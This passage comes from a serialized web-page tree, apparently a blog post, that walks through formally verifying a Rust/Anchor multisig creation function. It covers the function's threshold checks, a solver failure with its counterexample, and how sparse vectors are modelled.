value":201},{"type":21,"tag":153,"props":25553,"children":25554},{"style":214},[25555],{"type":26,"value":23723},{"type":21,"tag":153,"props":25557,"children":25558},{"style":160},[25559],{"type":26,"value":25560},", create_key",{"type":21,"tag":153,"props":25562,"children":25563},{"style":198},[25564],{"type":26,"value":201},{"type":21,"tag":153,"props":25566,"children":25567},{"style":214},[25568],{"type":26,"value":2266},{"type":21,"tag":153,"props":25570,"children":25571},{"style":160},[25572],{"type":26,"value":25573},", members",{"type":21,"tag":153,"props":25575,"children":25576},{"style":198},[25577],{"type":26,"value":201},{"type":21,"tag":153,"props":25579,"children":25580},{"style":214},[25581],{"type":26,"value":24082},{"type":21,"tag":153,"props":25583,"children":25584},{"style":160},[25585],{"type":26,"value":8537},{"type":21,"tag":153,"props":25587,"children":25588},{"style":214},[25589],{"type":26,"value":2878},{"type":21,"tag":153,"props":25591,"children":25592},{"style":160},[25593],{"type":26,"value":25594},">)]\n",{"type":21,"tag":153,"props":25596,"children":25597},{"class":155,"line":225},[25598,25602,25606,25611,25616,25621],{"type":21,"tag":153,"props":25599,"children":25600},{"style":170},[25601],{"type":26,"value":173},{"type":21,"tag":153,"props":25603,"children":25604},{"style":170},[25605],{"type":26,"value":23844},{"type":21,"tag":153,"props":25607,"children":25608},{"style":214},[25609],{"type":26,"value":25610}," Create",{"type":21,"tag":153,"props":25612,"children":25613},{"style":160},[25614],{"type":26,"value":25615},"\u003C'",{"type":21,"tag":153,"props":25617,"children":25618},{"style":214},[25619],{"type":26,"value":25620},"info",{"type":21,"tag":153,"props":25622,"children":25623},{"style":160},[25624],{"type":26,"value":10009},{"type":21,"tag":153,"props":25626,"children":25627},{"class":155,"line":239},[25628],{"type":21,"tag":153,"props":25629,"children":25630},{"style":160},[25631],{"type":26,"value":25632},"    #[account(\n",{"type":21,"tag":153,"props":25634,"children":25635},{"class":155,"line":382},[25636],{"type":21,"tag":153,"props":25637,"children":25638},{"style":160},[25639],{"type":26,"value":25640},"        init,\n",{"type":21,"tag":153,"props":25642,"children":25643},{"class":155,"line":501},[25644,25649,25653],{"type":21,"tag":153,"props":25645,"children":25646},{"style":160},[25647],{"type":26,"value":25648},"        payer ",{"type":21,"tag":153,"props":25650,"children":25651},{"style":198},[25652],{"type":26,"value":2367},{"type":21,"tag":153,"props":25654,"children":25655},{"style":160},[25656],{"type":26,"value":25657}," creator,\n",{"type":21,"tag":153,"props":25659,"children":25660},{"class":155,"line":533},[25661,25666,25670,25674,25678,25683,25687,25692,25696,25700,25704],{"type":21,"tag":153,"props":25662,"children":25663},{"style":160},[25664],{"type":26,"value":25665},"        space ",{"type":21,"tag":153,"props":25667,"children":25668},{"style":198},[25669],{"type":26,"value":2367},{"type":21,"tag":153,"props":25671,"children":25672},{"style":214},[25673],{"type":26,"value":23849},{"type":21,"tag":153,"props":25675,"children":25676},{"style":198},[25677],{"type":26,"value":265},{"type":21,"tag":153,"props":25679,"children":25680},{"style":214},[25681],{"type":26,"value":25682},"SIZE_WITHOUT_MEMBERS",{"type":21,"tag":153,"props":25684,"children":25685},{"style":198},[25686],{"type":26,"value":5527},{"type":21,"tag":153,"props":25688,"children":25689},{"style":160},[25690],{"type":26,"value":25691}," (members",{"type":21,"tag":153,"props":25693,"children":25694},{"style":198},[25695],{"type":26,"value":355},{"type":21,"tag":153,"props":25697,"children":25698},{"style":160},[25699],{"type":26,"value":23714},{"type":21,"tag":153,"props":25701,"children":25702},{"style":198},[25703],{"type":26,"value":313},{"type":21,"tag":153,"props":25705,"children":25706},{"style":160},[25707],{"type":26,"value":25708}," 32),\n",{"type":21,"tag":153,"props":25710,"children":25711},{"class":155,"line":542},[25712,25717,25721,25725,25730,25734,25738,25743,25748,25752],{"type":21,"tag":153,"props":25713,"children":25714},{"style":160},[25715],{"type":26,"value":25716},"        seeds ",{"type":21,"tag":153,"props":25718,"children":25719},{"style":198},[25720],{"type":26,"value":2367},{"type":21,"tag":153,"props":25722,"children":25723},{"style":160},[25724],{"type":26,"value":4236},{"type":21,"tag":153,"props":25726,"children":25727},{"style":671},[25728],{"type":26,"value":25729},"b\"squad\"",{"type":21,"tag":153,"props":25731,"children":25732},{"style":160},[25733],{"type":26,"value":25560},{"type":21,"tag":153,"props":25735,"children":25736},{"style":198},[25737],{"type":26,"value":355},{"type":21,"tag":153,"props":25739,"children":25740},{"style":160},[25741],{"type":26,"value":25742},"as_ref(), ",{"type":21,"tag":153,"props":25744,"children":25745},{"style":671},[25746],{"type":26,"value":25747},"b\"multisig\"",{"type":21,"tag":153,"props":25749,"children":25750},{"style":160},[25751],{"type":26,"value":308},{"type":21,"tag":153,"props":25753,"children":25754},{"style":192},[25755],{"type":26,"value":25756},"bump\n",{"type":21,"tag":153,"props":25758,"children":25759},{"class":155,"line":762},[25760],{"type":21,"tag":153,"props":25761,"children":25762},{"style":160},[25763],{"type":26,"value":25764},"    )]\n",{"type":21,"tag":153,"props":25766,"children":25767},{"class":155,"line":776},[25768,25772,25777,25781,25786,25790,25794,25798,25802],{"type":21,"tag":153,"props":25769,"children":25770},{"style":170},[25771],{"type":26,"value":23537},{"type":21,"tag":153,"props":25773,"children":25774},{"style":192},[25775],{"type":26,"value":25776}," multisig",{"type":21,"tag":153,"props":25778,"children":25779},{"style":198},[25780],{"type":26,"value":201},{"type":21,"tag":153,"props":25782,"children":25783},{"style":214},[25784],{"type":26,"value":25785}," Account",{"type":21,"tag":153,"props":25787,"children":25788},{"style":160},[25789],{"type":26,"value":25615},{"type":21,"tag":153,"props":25791,"children":25792},{"style":214},[25793],{"type":26,"value":25620},{"type":21,"tag":153,"props":25795,"children":25796},{"style":160},[25797],{"type":26,"value":1670},{"type":21,"tag":153,"props":25799,"children":25800},{"style":214},[25801],{"type":26,"value":25434},{"type":21,"tag":153,"props":25803,"children":25804},{"style":160},[25805],{"type":26,"value":8867},{"type":21,"tag":153,"props":25807,"children":25808},{"class":155,"line":795},[25809],{"type":21,"tag":153,"props":25810,"children":25811},{"emptyLinePlaceholder":16},[25812],{"type":26,"value":759},{"type":21,"tag":153,"props":25814,"children":25815},{"class":155,"line":808},[25816,25821,25825],{"type":21,"tag":153,"props":25817,"children":25818},{"style":160},[25819],{"type":26,"value":25820},"    #[account(",{"type":21,"tag":153,"props":25822,"children":25823},{"style":170},[25824],{"type":26,"value":318},{"type":21,"tag":153,"props":25826,"children":25827},{"style":160},[25828],{"type":26,"value":22954},{"type":21,"tag":153,"props":25830,"children":25831},{"class":155,"line":820},[25832,25836,25841,25845,25850,25854,25858],{"type":21,"tag":153,"props":25833,"children":25834},{"style":170},[25835],{"type":26,"value":23537},{"type":21,"tag":153,"props":25837,"children":25838},{"style":192},[25839],{"type":26,"value":25840}," creator",{"type":21,"tag":153,"props":25842,"children":25843},{"style":198},[25844],{"type":26,"value":201},{"type":21,"tag":153,"props":25846,"children":25847},{"style":214},[25848],{"type":26,"value":25849}," Signer",{"type":21,"tag":153,"props":25851,"children":25852},{"style":160},[25853],{"type":26,"value":25615},{"type":21,"tag":153,"props":25855,"children":25856},{"style":214},[25857],{"type":26,"value":25620},{"type":21,"tag":153,"props":25859,"children":25860},{"style":160},[25861],{"type":26,"value":8867},{"type":21,"tag":153,"props":25863,"children":25864},{"class":155,"line":842},[25865,25869,25874,25878,25883,25887,25891,25895,25900],{"type":21,"tag":153,"props":25866,"children":25867},{"style":170},[25868],{"type":26,"value":23537},{"type":21,"tag":153,"props":25870,"children":25871},{"style":192},[25872],{"type":26,"value":25873}," system_program",{"type":21,"tag":153,"props":25875,"children":25876},{"style":198},[25877],{"type":26,"value":201},{"type":21,"tag":153,"props":25879,"children":25880},{"style":214},[25881],{"type":26,"value":25882}," Program",{"type":21,"tag":153,"props":25884,"children":25885},{"style":160},[25886],{"type":26,"value":25615},{"type":21,"tag":153,"props":25888,"children":25889},{"style":214},[25890],{"type":26,"value":25620},{"type":21,"tag":153,"props":25892,"children":25893},{"style":160},[25894],{"type":26,"value":1670},{"type":21,"tag":153,"props":25896,"children":25897},{"style":214},[25898],{"type":26,"value":25899},"System",{"type":21,"tag":153,"props":25901,"children":25902},{"style":160},[25903],{"type":26,"value":8867},{"type":21,"tag":153,"props":25905,"children":25906},{"class":155,"line":3204},[25907],{"type":21,"tag":153,"props":25908,"children":25909},{"style":160},[25910],{"type":26,"value":548},{"type":21,"tag":153,"props":25912,"children":25913},{"class":155,"line":3230},[25914],{"type":21,"tag":153,"props":25915,"children":25916},{"emptyLinePlaceholder":16},[25917],{"type":26,"value":759},{"type":21,"tag":153,"props":25919,"children":25920},{"class":155,"line":3239},[25921,25925,25929,25933],{"type":21,"tag":153,"props":25922,"children":25923},{"style":170},[25924],{"type":26,"value":173},{"type":21,"tag":153,"props":25926,"children":25927},{"style":170},[25928],{"type":26,"value":178},{"type":21,"tag":153,"props":25930,"children":25931},{"style":181},[25932],{"type":26,"value":9841},{"type":21,"tag":153,"props":25934,"children":25935},{"style":160},[25936],{"type":26,"value":773},{"type":21,"tag":153,"props":25938,"children":25939},{"class":155,"line":3253},[25940,25944,25948,25952,25956,25961],{"type":21,"tag":153,"props":25941,"children":25942},{"style":192},[25943],{"type":26,"value":22920},{"type":21,"tag":153,"props":25945,"children":25946},{"style":198},[25947],{"type":26,"value":201},{"type":21,"tag":153,"props":25949,"children":25950},{"style":214},[25951],{"type":26,"value":22983},{"type":21,"tag":153,"props":25953,"children":25954},{"style":160},[25955],{"type":26,"value":8537},{"type":21,"tag":153,"props":25957,"children":25958},{"style":214},[25959],{"type":26,"value":25960},"Create",{"type":21,"tag":153,"props":25962,"children":25963},{"style":160},[25964],{"type":26,"value":8867},{"type":21,"tag":153,"props":25966,"children":25967},{"class":155,"line":3301},[25968,25973,25977,25981],{"type":21,"tag":153,"props":25969,"children":25970},{"style":192},[25971],{"type":26,"value":25972},"    threshold",{"type":21,"tag":153,"props":25974,"children":25975},{"style":198},[25976],{"type":26,"value":201},{"type":21,"tag":153,"props":25978,"children":25979},{"style":214},[25980],{"type":26,"value":23723},{"type":21,"tag":153,"props":25982,"children":25983},{"style":160},[25984],{"type":26,"value":792},{"type":21,"tag":153,"props":25986,"children":25987},{"class":155,"line":3346},[25988,25993,25997,26001],{"type":21,"tag":153,"props":25989,"children":25990},{"style":192},[25991],{"type":26,"value":25992},"    create_key",{"type":21,"tag":153,"props":25994,"children":25995},{"style":198},[25996],{"type":26,"value":201},{"type":21,"tag":153,"props":25998,"children":25999},{"style":214},[26000],{"type":26,"value":2266},{"type":21,"tag":153,"props":26002,"children":26003},{"style":160},[26004],{"type":26,"value":792},{"type":21,"tag":153,"props":26006,"children":26007},{"class":155,"line":3355},[26008,26013,26017,26021,26025,26029],{"type":21,"tag":153,"props":26009,"children":26010},{"style":192},[26011],{"type":26,"value":26012},"    members",{"type":21,"tag":153,"props":26014,"children":26015},{"style":198},[26016],{"type":26,"value":201},{"type":21,"tag":153,"props":26018,"children":26019},{"style":214},[26020],{"type":26,"value":24082},{"type":21,"tag":153,"props":26022,"children":26023},{"style":160},[26024],{"type":26,"value":8537},{"type":21,"tag":153,"props":26026,"children":26027},{"style":214},[26028],{"type":26,"value":2878},{"type":21,"tag":153,"props":26030,"children":26031},{"style":160},[26032],{"type":26,"value":8867},{"type":21,"tag":153,"props":26034,"children":26035},{"class":155,"line":3364},[26036,26040,26044,26048],{"type":21,"tag":153,"props":26037,"children":26038},{"style":160},[26039],{"type":26,"value":2362},{"type":21,"tag":153,"props":26041,"children":26042},{"style":198},[26043],{"type":26,"value":2953},{"type":21,"tag":153,"props":26045,"children":26046},{"style":214},[26047],{"type":26,"value":16475},{"type":21,"tag":153,"props":26049,"children":26050},{"style":160},[26051],{"type":26,"value":23025},{"type":21,"tag":153,"props":26053,"children":26054},{"class":155,"line":3376},[26055],{"type":21,"tag":153,"props":26056,"children":26057},{"style":3050},[26058],{"type":26,"value":26059},"    // sort the members and remove duplicates\n",{"type":21,"tag":153,"props":26061,"children":26062},{"class":155,"line":3393},[26063,26067,26071,26076,26080,26084],{"type":21,"tag":153,"props":26064,"children":26065},{"style":170},[26066],{"type":26,"value":629},{"type":21,"tag":153,"props":26068,"children":26069},{"style":170},[26070],{"type":26,"value":1560},{"type":21,"tag":153,"props":26072,"children":26073},{"style":192},[26074],{"type":26,"value":26075}," members",{"type":21,"tag":153,"props":26077,"children":26078},{"style":198},[26079],{"type":26,"value":255},{"type":21,"tag":153,"props":26081,"children":26082},{"style":192},[26083],{"type":26,"value":26075},{"type":21,"tag":153,"props":26085,"children":26086},{"style":160},[26087],{"type":26,"value":1759},{"type":21,"tag":153,"props":26089,"children":26090},{"class":155,"line":3405},[26091,26095,26099,26104],{"type":21,"tag":153,"props":26092,"children":26093},{"style":192},[26094],{"type":26,"value":26012},{"type":21,"tag":153,"props":26096,"children":26097},{"style":198},[26098],{"type":26,"value":355},{"type":21,"tag":153,"props":26100,"children":26101},{"style":181},[26102],{"type":26,"value":26103},"sort",{"type":21,"tag":153,"props":26105,"children":26106},{"style":160},[26107],{"type":26,"value":839},{"type":21,"tag":153,"props":26109,"children":26110},{"class":155,"line":3427},[26111,26115,26119,26124],{"type":21,"tag":153,"props":26112,"children":26113},{"style":192},[26114],{"type":26,"value":26012},{"type":21,"tag":153,"props":26116,"children":26117},{"style":198},[26118],{"type":26,"value":355},{"type":21,"tag":153,"props":26120,"children":26121},{"style":181},[26122],{"type":26,"value":26123},"dedup",{"type":21,"tag":153,"props":26125,"children":26126},{"style":160},[26127],{"type":26,"value":839},{"type":21,"tag":153,"props":26129,"children":26130},{"class":155,"line":3448},[26131],{"type":21,"tag":153,"props":26132,"children":26133},{"emptyLinePlaceholder":16},[26134],{"type":26,"value":759},{"type":21,"tag":153,"props":26136,"children":26137},{"class":155,"line":3456},[26138],{"type":21,"tag":153,"props":26139,"children":26140},{"style":3050},[26141],{"type":26,"value":26142},"    // check we don't exceed u16\n",{"type":21,"tag":153,"props":26144,"children":26145},{"class":155,"line":3493},[26146,26150,26155,26159,26163,26167,26171],{"type":21,"tag":153,"props":26147,"children":26148},{"style":170},[26149],{"type":26,"value":629},{"type":21,"tag":153,"props":26151,"children":26152},{"style":192},[26153],{"type":26,"value":26154}," total_members",{"type":21,"tag":153,"props":26156,"children":26157},{"style":198},[26158],{"type":26,"value":255},{"type":21,"tag":153,"props":26160,"children":26161},{"style":192},[26162],{"type":26,"value":26075},{"type":21,"tag":153,"props":26164,"children":26165},{"style":198},[26166],{"type":26,"value":355},{"type":21,"tag":153,"props":26168,"children":26169},{"style":181},[26170],{"type":26,"value":2456},{"type":21,"tag":153,"props":26172,"children":26173},{"style":160},[26174],{"type":26,"value":839},{"type":21,"tag":153,"props":26176,"children":26177},{"class":155,"line":3509},[26178,26182,26186,26190,26194],{"type":21,"tag":153,"props":26179,"children":26180},{"style":1751},[26181],{"type":26,"value":2434},{"type":21,"tag":153,"props":26183,"children":26184},{"style":192},[26185],{"type":26,"value":26154},{"type":21,"tag":153,"props":26187,"children":26188},{"style":198},[26189],{"type":26,"value":4094},{"type":21,"tag":153,"props":26191,"children":26192},{"style":300},[26193],{"type":26,"value":7253},{"type":21,"tag":153,"props":26195,"children":26196},{"style":160},[26197],{"type":26,"value":236},{"type":21,"tag":153,"props":26199,"children":26200},{"class":155,"line":3517},[26201,26205,26210,26214,26219,26223,26228],{"type":21,"tag":153,"props":26202,"children":26203},{"style":1751},[26204],{"type":26,"value":18441},{"type":21,"tag":153,"props":26206,"children":26207},{"style":181},[26208],{"type":26,"value":26209}," err!",{"type":21,"tag":153,"props":26211,"children":26212},{"style":160},[26213],{"type":26,"value":189},{"type":21,"tag":153,"props":26215,"children":26216},{"style":214},[26217],{"type":26,"value":26218},"MsError",{"type":21,"tag":153,"props":26220,"children":26221},{"style":198},[26222],{"type":26,"value":265},{"type":21,"tag":153,"props":26224,"children":26225},{"style":214},[26226],{"type":26,"value":26227},"EmptyMembers",{"type":21,"tag":153,"props":26229,"children":26230},{"style":160},[26231],{"type":26,"value":530},{"type":21,"tag":153,"props":26233,"children":26234},{"class":155,"line":3526},[26235],{"type":21,"tag":153,"props":26236,"children":26237},{"style":160},[26238],{"type":26,"value":539},{"type":21,"tag":153,"props":26240,"children":26241},{"class":155,"line":3607},[26242],{"type":21,"tag":153,"props":26243,"children":26244},{"emptyLinePlaceholder":16},[26245],{"type":26,"value":759},{"type":21,"tag":153,"props":26247,"children":26248},{"class":155,"line":3615},[26249],{"type":21,"tag":153,"props":26250,"children":26251},{"style":3050},[26252],{"type":26,"value":26253},"    // make sure we don't exceed u16 on first call\n",{"type":21,"tag":153,"props":26255,"children":26256},{"class":155,"line":3629},[26257,26261,26265,26269,26273,26277,26281,26286,26290],{"type":21,"tag":153,"props":26258,"children":26259},{"style":1751},[26260],{"type":26,"value":2434},{"type":21,"tag":153,"props":26262,"children":26263},{"style":192},[26264],{"type":26,"value":26154},{"type":21,"tag":153,"props":26266,"children":26267},{"style":198},[26268],{"type":26,"value":16902},{"type":21,"tag":153,"props":26270,"children":26271},{"style":214},[26272],{"type":26,"value":16445},{"type":21,"tag":153,"props":26274,"children":26275},{"style":198},[26276],{"type":26,"value":265},{"type":21,"tag":153,"props":26278,"children":26279},{"style":181},[26280],{"type":26,"value":22170},{"type":21,"tag":153,"props":26282,"children":26283},{"style":160},[26284],{"type":26,"value":26285},"(u16",{"type":21,"tag":153,"props":26287,"children":26288},{"style":198},[26289],{"type":26,"value":265},{"type":21,"tag":153,"props":26291,"children":26292},{"style":160},[26293],{"type":26,"value":26294},"MAX) {\n",{"type":21,"tag":153,"props":26296,"children":26298},{"class":155,"line":26297},36,[26299,26303,26307,26311,26315,26319,26324],{"type":21,"tag":153,"props":26300,"children":26301},{"style":1751},[26302],{"type":26,"value":18441},{"type":21,"tag":153,"props":26304,"children":26305},{"style":181},[26306],{"type":26,"value":26209},{"type":21,"tag":153,"props":26308,"children":26309},{"style":160},[26310],{"type":26,"value":189},{"type":21,"tag":153,"props":26312,"children":26313},{"style":214},[26314],{"type":26,"value":26218},{"type":21,"tag":153,"props":26316,"children":26317},{"style":198},[26318],{"type":26,"value":265},{"type":21,"tag":153,"props":26320,"children":26321},{"style":214},[26322],{"type":26,"value":26323},"MaxMembersReached",{"type":21,"tag":153,"props":26325,"children":26326},{"style":160},[26327],{"type":26,"value":530},{"type":21,"tag":153,"props":26329,"children":26331},{"class":155,"line":26330},37,[26332],{"type":21,"tag":153,"props":26333,"children":26334},{"style":160},[26335],{"type":26,"value":539},{"type":21,"tag":153,"props":26337,"children":26339},{"class":155,"line":26338},38,[26340],{"type":21,"tag":153,"props":26341,"children":26342},{"emptyLinePlaceholder":16},[26343],{"type":26,"value":759},{"type":21,"tag":153,"props":26345,"children":26347},{"class":155,"line":26346},39,[26348],{"type":21,"tag":153,"props":26349,"children":26350},{"style":3050},[26351],{"type":26,"value":26352},"    // make sure threshold is valid\n",{"type":21,"tag":153,"props":26354,"children":26356},{"class":155,"line":26355},40,[26357,26361,26365,26369,26373,26377,26381,26386,26390,26395,26399,26403,26407,26411,26415,26420,26425],{"type":21,"tag":153,"props":26358,"children":26359},{"style":1751},[26360],{"type":26,"value":2434},{"type":21,"tag":153,"props":26362,"children":26363},{"style":214},[26364],{"type":26,"value":16445},{"type":21,"tag":153,"props":26366,"children":26367},{"style":198},[26368],{"type":26,"value":265},{"type":21,"tag":153,"props":26370,"children":26371},{"style":181},[26372],{"type":26,"value":22170},{"type":21,"tag":153,"props":26374,"children":26375},{"style":160},[26376],{"type":26,"value":189},{"type":21,"tag":153,"props":26378,"children":26379},{"style":192},[26380],{"type":26,"value":25442},{"type":21,"tag":153,"props":26382,"children":26383},{"style":160},[26384],{"type":26,"value":26385},") \u003C ",{"type":21,"tag":153,"props":26387,"children":26388},{"style":300},[26389],{"type":26,"value":3033},{"type":21,"tag":153,"props":26391,"children":26392},{"style":198},[26393],{"type":26,"value":26394}," ||",{"type":21,"tag":153,"props":26396,"children":26397},{"style":214},[26398],{"type":26,"value":16445},{"type":21,"tag":153,"props":26400,"children":26401},{"style":198},[26402],{"type":26,"value":265},{"type":21,"tag":153,"props":26404,"children":26405},{"style":181},[26406],{"type":26,"value":22170},{"type":21,"tag":153,"props":26408,"children":26409},{"style":160},[26410],{"type":26,"value":189},{"type":21,"tag":153,"props":26412,"children":26413},{"style":192},[26414],{"type":26,"value":25442},{"type":21,"tag":153,"props":26416,"children":26417},{"style":160},[26418],{"type":26,"value":26419},") > ",{"type":21,"tag":153,"props":26421,"children":26422},{"style":192},[26423],{"type":26,"value":26424},"total_members",{"type":21,"tag":153,"props":26426,"children":26427},{"style":160},[26428],{"type":26,"value":236},{"type":21,"tag":153,"props":26430,"children":26432},{"class":155,"line":26431},41,[26433,26437,26441,26445,26449,26453,26458],{"type":21,"tag":153,"props":26434,"children":26435},{"style":1751},[26436],{"type":26,"value":18441},{"type":21,"tag":153,"props":26438,"children":26439},{"style":181},[26440],{"type":26,"value":26209},{"type":21,"tag":153,"props":26442,"children":26443},{"style":160},[26444],{"type":26,"value":189},{"type":21,"tag":153,"props":26446,"children":26447},{"style":214},[26448],{"type":26,"value":26218},{"type":21,"tag":153,"props":26450,"children":26451},{"style":198},[26452],{"type":26,"value":265},{"type":21,"tag":153,"props":26454,"children":26455},{"style":214},[26456],{"type":26,"value":26457},"InvalidThreshold",{"type":21,"tag":153,"props":26459,"children":26460},{"style":160},[26461],{"type":26,"value":530},{"type":21,"tag":153,"props":26463,"children":26465},{"class":155,"line":26464},42,[26466],{"type":21,"tag":153,"props":26467,"children":26468},{"style":160},[26469],{"type":26,"value":539},{"type":21,"tag":153,"props":26471,"children":26473},{"class":155,"line":26472},43,[26474],{"type":21,"tag":153,"props":26475,"children":26476},{"emptyLinePlaceholder":16},[26477],{"type":26,"value":759},{"type":21,"tag":153,"props":26479,"children":26481},{"class":155,"line":26480},44,[26482,26486,26490,26494,26498,26503,26507,26511],{"type":21,"tag":153,"props":26483,"children":26484},{"style":192},[26485],{"type":26,"value":22920},{"type":21,"tag":153,"props":26487,"children":26488},{"style":198},[26489],{"type":26,"value":355},{"type":21,"tag":153,"props":26491,"children":26492},{"style":160},[26493],{"type":26,"value":2987},{"type":21,"tag":153,"props":26495,"children":26496},{"style":198},[26497],{"type":26,"value":355},{"type":21,"tag":153,"props":26499,"children":26500},{"style":160},[26501],{"type":26,"value":26502},"multisig",{"type":21,"tag":153,"props":26504,"children":26505},{"style":198},[26506],{"type":26,"value":355},{"type":21,"tag":153,"props":26508,"children":26509},{"style":181},[26510],{"type":26,"value":23434},{"type":21,"tag":153,"props":26512,"children":26513},{"style":160},[26514],{"type":26,"value":773},{"type":21,"tag":153,"props":26516,"children":26518},{"class":155,"line":26517},45,[26519,26524],{"type":21,"tag":153,"props":26520,"children":26521},{"style":192},[26522],{"type":26,"value":26523},"        threshold",{"type":21,"tag":153,"props":26525,"children":26526},{"style":160},[26527],{"type":26,"value":792},{"type":21,"tag":153,"props":26529,"children":26531},{"class":155,"line":26530},46,[26532,26537],{"type":21,"tag":153,"props":26533,"children":26534},{"style":192},[26535],{"type":26,"value":26536},"        create_key",{"type":21,"tag":153,"props":26538,"children":26539},{"style":160},[26540],{"type":26,"value":792},{"type":21,"tag":153,"props":26542,"children":26544},{"class":155,"line":26543},47,[26545,26550],{"type":21,"tag":153,"props":26546,"children":26547},{"style":192},[26548],{"type":26,"value":26549},"        members",{"type":21,"tag":153,"props":26551,"children":26552},{"style":160},[26553],{"type":26,"value":792},{"type":21,"tag":153,"props":26555,"children":26557},{"class":155,"line":26556},48,[26558,26562,26566,26570,26575,26579,26583,26587,26592,26596,26600,26604],{"type":21,"tag":153,"props":26559,"children":26560},{"style":198},[26561],{"type":26,"value":10478},{"type":21,"tag":153,"props":26563,"children":26564},{"style":192},[26565],{"type":26,"value":1882},{"type":21,"tag":153,"props":26567,"children":26568},{"style":198},[26569],{"type":26,"value":355},{"type":21,"tag":153,"props":26571,"children":26572},{"style":160},[26573],{"type":26,"value":26574},"bumps",{"type":21,"tag":153,"props":26576,"children":26577},{"style":198},[26578],{"type":26,"value":355},{"type":21,"tag":153,"props":26580,"children":26581},{"style":181},[26582],{"type":26,"value":19049},{"type":21,"tag":153,"props":26584,"children":26585},{"style":160},[26586],{"type":26,"value":189},{"type":21,"tag":153,"props":26588,"children":26589},{"style":671},[26590],{"type":26,"value":26591},"\"multisig\"",{"type":21,"tag":153,"props":26593,"children":26594},{"style":160},[26595],{"type":26,"value":2071},{"type":21,"tag":153,"props":26597,"children":26598},{"style":198},[26599],{"type":26,"value":355},{"type":21,"tag":153,"props":26601,"children":26602},{"style":181},[26603],{"type":26,"value":374},{"type":21,"tag":153,"props":26605,"children":26606},{"style":160},[26607],{"type":26,"value":721},{"type":21,"tag":153,"props":26609,"children":26611},{"class":155,"line":26610},49,[26612],{"type":21,"tag":153,"props":26613,"children":26614},{"style":160},[26615],{"type":26,"value":26616},"    )\n",{"type":21,"tag":153,"props":26618,"children":26620},{"class":155,"line":26619},50,[26621],{"type":21,"tag":153,"props":26622,"children":26623},{"style":160},[26624],{"type":26,"value":548},{"type":21,"tag":22,"props":26626,"children":26627},{},[26628,26630,26635,26637,26642],{"type":26,"value":26629},"We can start by testing an empty ",{"type":21,"tag":78,"props":26631,"children":26633},{"className":26632},[],[26634],{"type":26,"value":22851},{"type":26,"value":26636}," (this will default to ",{"type":21,"tag":78,"props":26638,"children":26640},{"className":26639},[],[26641],{"type":26,"value":3294},{"type":26,"value":26643},"):",{"type":21,"tag":143,"props":26645,"children":26647},{"code":26646,"language":147,"meta":7,"className":145,"style":7},"#[succeeds_if()]\npub fn create(...) { ... }\n",[26648],{"type":21,"tag":78,"props":26649,"children":26650},{"__ignoreMap":7},[26651,26659],{"type":21,"tag":153,"props":26652,"children":26653},{"class":155,"line":156},[26654],{"type":21,"tag":153,"props":26655,"children":26656},{"style":160},[26657],{"type":26,"value":26658},"#[succeeds_if()]\n",{"type":21,"tag":153,"props":26660,"children":26661},{"class":155,"line":166},[26662,26666,26670,26674,26678,26682,26687,26691],{"type":21,"tag":153,"props":26663,"children":26664},{"style":170},[26665],{"type":26,"value":173},{"type":21,"tag":153,"props":26667,"children":26668},{"style":170},[26669],{"type":26,"value":178},{"type":21,"tag":153,"props":26671,"children":26672},{"style":181},[26673],{"type":26,"value":9841},{"type":21,"tag":153,"props":26675,"children":26676},{"style":160},[26677],{"type":26,"value":189},{"type":21,"tag":153,"props":26679,"children":26680},{"style":198},[26681],{"type":26,"value":12313},{"type":21,"tag":153,"props":26683,"children":26684},{"style":160},[26685],{"type":26,"value":26686},") { ",{"type":21,"tag":153,"props":26688,"children":26689},{"style":198},[26690],{"type":26,"value":12313},{"type":21,"tag":153,"props":26692,"children":26693},{"style":160},[26694],{"type":26,"value":12318},{"type":21,"tag":22,"props":26696,"children":26697},{},[26698],{"type":26,"value":26699},"Running the solver, we get:",{"type":21,"tag":143,"props":26701,"children":26703},{"code":26702},"...\nVERIFICATION:- FAILED\nVerification Time: 6.404167s\n",[26704],{"type":21,"tag":78,"props":26705,"children":26706},{"__ignoreMap":7},[26707],{"type":26,"value":26702},{"type":21,"tag":22,"props":26709,"children":26710},{},[26711,26713,26718],{"type":26,"value":26712},"This means that ",{"type":21,"tag":78,"props":26714,"children":26716},{"className":26715},[],[26717],{"type":26,"value":3294},{"type":26,"value":26719}," does not imply that the function will succeed (which is expected looking at the implementation above).",{"type":21,"tag":22,"props":26721,"children":26722},{},[26723],{"type":26,"value":26724},"We can ask the solver to produce a counterexample:",{"type":21,"tag":143,"props":26726,"children":26728},{"code":26727},"threshold: 33764\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[26729],{"type":21,"tag":78,"props":26730,"children":26731},{"__ignoreMap":7},[26732],{"type":26,"value":26727},{"type":21,"tag":22,"props":26734,"children":26735},{},[26736],{"type":26,"value":26737},"In this case, we can see that the threshold is invalid; it should not be larger than the number of members.",{"type":21,"tag":22,"props":26739,"children":26740},{},[26741],{"type":21,"tag":5302,"props":26742,"children":26743},{},[26744,26746,26752],{"type":26,"value":26745},"Note also that the verifier decided to use a ",{"type":21,"tag":78,"props":26747,"children":26749},{"className":26748},[],[26750],{"type":26,"value":26751},"SparseVec",{"type":26,"value":26753}," which is one of our custom vec implementations. In this case, the code we are verifying doesn't actually read or write to the vector and so we can model it simply as a symbolic size (with no data).",{"type":21,"tag":22,"props":26755,"children":26756},{},[26757],{"type":21,"tag":5302,"props":26758,"children":26759},{},[26760,26762,26767,26768,26774,26776,26781,26783,26788],{"type":26,"value":26761},"Using a sparse vec rather than a concrete vec is generally preferred as it speeds up computation and allows us to model arbitrarily sized vecs. ",{"type":21,"tag":78,"props":26763,"children":26765},{"className":26764},[],[26766],{"type":26,"value":6545},{"type":26,"value":52},{"type":21,"tag":78,"props":26769,"children":26771},{"className":26770},[],[26772],{"type":26,"value":26773},"pop",{"type":26,"value":26775}," are stubbed out to simply panic for the ",{"type":21,"tag":78,"props":26777,"children":26779},{"className":26778},[],[26780],{"type":26,"value":26751},{"type":26,"value":26782}," and if this code tried to do that we would fall back to the concrete ",{"type":21,"tag":78,"props":26784,"children":26786},{"className":26785},[],[26787],{"type":26,"value":19909},{"type":26,"value":26789}," type.",{"type":21,"tag":22,"props":26791,"children":26792},{},[26793],{"type":26,"value":26794},"We can add this to our constraint and try again:",{"type":21,"tag":143,"props":26796,"children":26798},{"code":26797,"language":147,"meta":7,"className":145,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n)]\npub fn create(...) { ... 